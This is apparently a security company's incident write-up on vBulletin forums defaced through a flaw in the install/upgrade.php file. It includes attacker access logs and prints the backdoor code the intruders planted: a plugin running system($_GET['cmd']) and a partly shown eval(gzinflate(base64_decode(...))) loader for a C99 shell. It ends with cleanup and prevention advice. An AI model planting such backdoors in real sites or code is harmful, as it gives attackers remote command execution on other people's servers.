We’ve had a few clients with vBulletin sites suffer defacements during the last two weeks.  The hackers exploit the newly-discovered vulnerability in vBulletin 4.1.x/5.x.x installation files, creating administrator accounts for themselves and adding defacement code and backdoors to vBulletin forums.  A case study demonstrates how this happens.

First is the exploit, and then they’re permitted into the admin control panel:

101.59.122.244 – – [02/Sep/2013:04:52:14 -0500] “GET /forum/install/upgrade.php HTTP/1.1” 200 3236 “-” “Mozilla/5.0 (X11; U; Linux i686 (x86_64); de; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8”
101.59.122.244 – – [02/Sep/2013:04:52:15 -0500] “POST /forum/install/upgrade.php HTTP/1.1” 200 202 “-” “Mozilla/5.0 (X11; U; Linux i686 (x86_64); de; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8”
101.59.122.244 – – [02/Sep/2013:04:53:45 -0500] “GET /forum/admincp/ HTTP/1.1” 200 544 “http://www.[REDACTED].com/forum/login.php?do=login” “Mozilla/5.0 (Windows NT 6.1; rv:23.0) Gecko/20100101 Firefox/23.0”

They create and edit a plugin:

101.59.122.244 – – [02/Sep/2013:05:00:30 -0500] “GET /forum/admincp/plugin.php?do=edit&pluginid=415 HTTP/1.1” 200 11543 “http://www.[REDACTED].com/forum/admincp/plugin.php?do=modify&sort=hook” “Mozilla/5.0 (Windows NT 6.1; rv:23.0) Gecko/20100101 Firefox/23.0”

This plugin was hooked at global_setup_complete, and contained this PHP code:

ob_start();
system($_GET['cmd']);
$execcode = ob_get_contents();
ob_end_clean();

A pretty simple backdoor.  Later they (or perhaps a different attacker) created two other backdoors, one involving a Perl shell and the other with this code:

if (strpos($_SERVER['PHP_SELF'],"subscriptions.php")) {

eval(gzinflate(base64_decode('HJ3HkqNQEkU/ZzqCBd4t8V4Y [...]

exit;

This would cause requests to subscriptions.php to yield the C99 shell.

With backdoors in place, they set about defacing the site.  This was done by altering the FORUMHOME setting in the template, replacing it with the “Hacked By Ne0-h4ck3r” page.  In this case it was simple enough to restore the default template, although we had to disable the plugin system so we could log in and flush the cache to clear out the defacement entirely.

For vulnerable vBulletin sites, this exploit can be prevented by deleting the /install directory (something which is recommended anyway).  If you find yourself suffering from this or a similar hack, please feel free to request help.